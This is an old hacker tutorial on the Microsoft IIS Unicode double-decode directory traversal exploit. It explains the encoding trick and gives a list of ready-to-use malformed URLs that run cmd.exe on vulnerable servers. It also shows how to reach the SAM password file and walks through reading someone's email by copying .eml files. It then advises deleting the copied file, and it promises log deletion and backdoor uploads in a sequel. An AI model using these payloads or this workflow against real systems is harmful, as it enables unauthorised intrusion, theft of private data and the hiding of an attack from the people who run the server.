Microsoft IIS Unicode Exploit
Explained - Part-I
( By Lucky )
Unicode extensions are installed by default with Microsoft Internet Information Server (IIS) version 4.0 and 5.0. This is to allow characters that are not used in the English language to be recognized by web servers. As we know computers just deal with numbers. It store letters and other characters by assigning a number for each one. Unicode provides a unique number for every character. Unicode forms a single character set across all languages. It's a standard 2-byte or 3-byte character set. The IIS Unicode Exploit allows users to run arbitrary commands on the web server. IIS servers with the Unicode extensions loaded are vulnerable unless they are running current patches.
When can this exploit be used ?
1. A writeable or executable directory is available; allowing attackers to
upload malicious code.
2. A system executable such as cmd.exe is available on the root and doesn't have
an access control list applied to it.
Now I'll explain you in details how this technique can be used exploiting
servers.
The attack occur when an attacker sends a malformed URL to a web server that
looks something like this:
1.
http://TARGET/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
TARGET has a virtual executable directory e.g scripts , that is located on the
same driver of Windows system. The directory of C:\ will be revealed !
You must be wondering what these %255c are ? Well... go on reading I have
explained it later in this article.
2. http://www.somesite.com/../../../../../winnt/repair/sam._
This one is simple to understand ; the web server will just look for the file in
the web root directory called "../../../../../winnt/repair/sam._". The '../'
tells the web server to look up one directory , so five '../' 's in a row will
make the web server look in the document root for a file called winnt/repair/sam._.
The no. of '../''s does not matter as long as as there are enough of them to
recurse back to the root of the file system (either c:\ or / on Unix system)
The IIS Unicode exploit uses the HTTP protocol and malformed URLs to traverse
directories and execute arbitrary commands on the vulnerable web servers. The
IIS Unicode exploit uses a Unicode representation of a directory delimiter ( / )
to fool IIS . Because the exploit uses http, it works right from the
address bar of a browser. Because of the non-interactive nature of this exploit,
interactive commands such as ftp & telnet don't work very well. We will see
later how it is possible to run commands interactively using this exploit.
Example of Unicode exploit using a web browser. Note that the output of the
command dir c:\ is displayed.
Directory of C:\
10/24/2002 01:10p
<DIR>
Documents and Settings
10/24/2002 03:45p
<DIR>
WinNT
10/25/2002 02:21p
<DIR>
Inetpub
10/29/2002 07:05a
<DIR>
Program Files
11/01/2002 10:20a
<DIR>
temp
11/01/2002 11:55a
<DIR>
WebLogs
11/10/2002 01:00p
<DIR>
SQL
11/11/2002 09:45a
webstats.txt
11/11/2002 11:11a
<DIR>
Lucky System
11/12/2002 10:23a
<DIR>
WINNT
11/15/2002 09:30a
<DIR>
Mail
1 File(s)
3,244,232 Bytes
10 Dir(s) 635,474,212
bytes free
Lets go into details....
Say the IP address of my site www.lucky-web.net is 202.232.54.20 and is
running IIS ( which is not)
To understand the actual attack we will closely examine a sample of the exploit.
http://202.232.54.20/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
We notice that the URL calls something from the /scripts directory on the server
www.lucky-web.net For this particular version of exploit the scripts directory
must exist and the path to the executable cmd.exe must be correct.
The next this we see is ..%c0%af. This string of characters "%c0%af" is an
overlong Unicode representation for ' / '. If this Unicode exploit is loaded on
the server, the URL will be interpreted to be:
http://202.232.54.20/scripts/../../winnt/system32/cmd.exe?/c+dir+c:\
The URL backs out of the web root, to the root directory of the server, then
calls winnt\system32\cmd.exe. We are using the command interpreter (cmd.exe) to
execute the command 'dir c:\' You can also try running other commands like
ping, netstat, traceroute ...etc.
[Note->Ahh.. You ever thought why this exploit occurs ? Well it occurs because
the CGI routine within the web server decodes the address twice. First CGI
filename will be decoded to check if it is an executable file ( e.g '.exe'
or '.com') After the filename checkup , IIS will run another decode process. If
you haven't got it, you will understand it later ...just read on :) ]
We will find that substituting a / for the
%c0%af will result in a '404' error on the web server. ( Tip-> Don't know
what 404 error is ? goto
www.lucky-web.net/httperror.htm for
details ) Thus we can say that IIS checks the path before interpreting the
Unicode /.
In the above URL, "?" after cmd.exe means argument. In the example given above:
http://202.232.54.20/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
the argument is /c which means it carries out the command specified
by string and then terminates. There are many other arguments. Just do cmd.exe/?
at your dos prompt. The "+" indicates the space between arguments.
/..%255c..%255c This decodes to /..\..\ what we are trying to
do here is perform directory traversal.
If you know anything about Hexadecimal then you would realise that we are
sending a hex value to the server. Just like %20 means space. So we know now
that we need to send hex value , we need to send a \ . Looking at
hexadecimal table you will find that \ is %5c . You might be
thinking that if you can use %5c instead of \ but we cannot because this is
checked by IIS and it would mean that someone is trying to perform directory
traversal upon the server. IIS denies the user access. But luckily it gets
checked twice so if we send various hex values of %, 5, and c we
should get \ in return. Using hex table we find that % = %25
5 = %35
c = %63
We do not need to send a hex value for each value of %5c.. just as long as
we finish up with %5c we will be fine. Now that we know the hex value we can
put them together to get the %5c as required. Let me give you some examples so
that it's clear to you.
Combinations
Break down of combinations
--------------
-----------------------------------------------------
%255c
%25 = % 5 = 5
c = c
=> %5c
%%35c
% = %
%35 = 5 c = c => %5c
%%35%63
% = %
%35 = 5 %63 = c => %5c
%25%35%63 %25 = %
%35 = 5 %63 = c => %5c
Thereby '..\' can be represented by '..%255c' , '..%%35c' etc. After first decoding, '..%255c' is turned into '..%5c' IIS will take it as legal character string that can pass security checkup. But after a second decode process, it will be reverted to '..\' . Hmm... now you understand ?? I'm sure you know why I'm asking this :) Hint: twice decode.
Lets move deep with various syntax & tricks
There are *many* vulnerabilities with IIS but I'm going to discuss few .
Wait for my IIS Unicode Exploit Part-II article to be released later
....moreover I don't know ALL - LoL !
http://IP ADDRESS/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
http://IP ADDRESS/msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
http://IP ADDRESS/cgi-bin/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
http://IP ADDRESS/iisadmpwd/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
http://IP ADDRESS/samples/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
http://IP ADDRESS/_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
http://IP ADDRESS/_vti_bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
http://IP
ADDRESS/adsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
Recall/see again the example I gave you earlier - the output of the
command 'dir c:\' shown in the web browser.
To navigate just change the links to /system32/cmd.exe?/c+dir+c:\Inetpub
to navigate Inetpub directory.
Say there is mail system at my site and under Mail directory there are
subdirectories :
username_lucky-web.net\inbox\
Under inbox directory there are many .eml files which you want to read.
Lets assume username is lucky and the eml file be
05215ac98el136b61450dle8b2.eml So what are we waiting for ? Lets read the
mail ! ( ohh ! I must delete all my gf's email ! LOL ) What I did is
gave the full path to that eml file:
http://202.232.54.20/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\Mail\lucky_lucky-web.net\inbox\05215ac98el136b61450dle8b2.eml
The output I got is :
Showing Directory of c:\Mail\lucky_lucky-web.net\inbox\
10/10/2002 07:58a
2,244 05215ac98el136b61450dle8b2.eml
1 File(s)
2,244 bytes
0 Dir(s) 23,234,544,239
bytes free
I even downloaded the eml file by using a download manager , then changed it
to .txt , but this also didn't help , I got the same thing.. This means
you cannot read these files directly . So what we do is copy the eml file
to c:\ of the web server named as mail.txt . We write it as :
http://202.232.54.20/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+copy+c:\Mail\lucky_lucky-web.net\inbox\05215ac98el136b61450dle8b2.eml+mail.txt
This also didn't work !! Do you know why ? how can you access such a
long eml file from command prompt ?? First get the DOS 8.3 format . For
that give <path>\Mail\lucky_lucky-web.net\inbox\/x
note-> /x gives you the file names in 8.3 format. Again
http://202.232.54.20/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+copy+c:\Mail\lucky_lucky-web.net\inbox\/x
We get the file name as 05215A~1.EML
Now ,
http://202.232.54.20/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+copy+c:\Mail\lucky_lucky-web.net\inbox\05215A~1.EML+mail.txt
We Get :
CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:
1 file(s) copied
Voila !! we got it ! we have copied the mail.txt to c:\
just using simply
http://202.232.54.20/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+type+c:\mail.txt
Now you can see the contains of it :)
Remember to delete the file after reading
http://202.232.54.20/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+del+c:\mail.txt
You can try out simple commands like this. I hope you got the idea !
The basic Unicode commands are :
- dir : list a directory
- dir/x : list it in dos form ~ (8.3)
- call : starts a exe
- start : starts a exe
- del : deletes a file
- type : view files
- copy : copies a file
- /c : sends the commands to a shell that terminates
upon completion.
- /s : show the results
- /S : do a research
- /h : run a file in hidden mode
- echo : it orders to write the commands in a textual file.
Here I come to the end of this article. Isn't it simple ? heh ! You also try to experiment with these... shhh.. wait you haven't learned yet how to delete the log files ! So BeWare ! I didn't want to make this article too long( as I'm lazy) so I have divided this into two parts . The next part ( Part II) will be more interesting part as we will see how to use Exploit through string vulnerabilities, run & upload a back door, TFTP exploit method and ofcourse how to delete the logs and lots more.... :) I'll start writting ASAP.
By- Lucky
Lucky@lucky-web.net
http://www.lucky-web.net/
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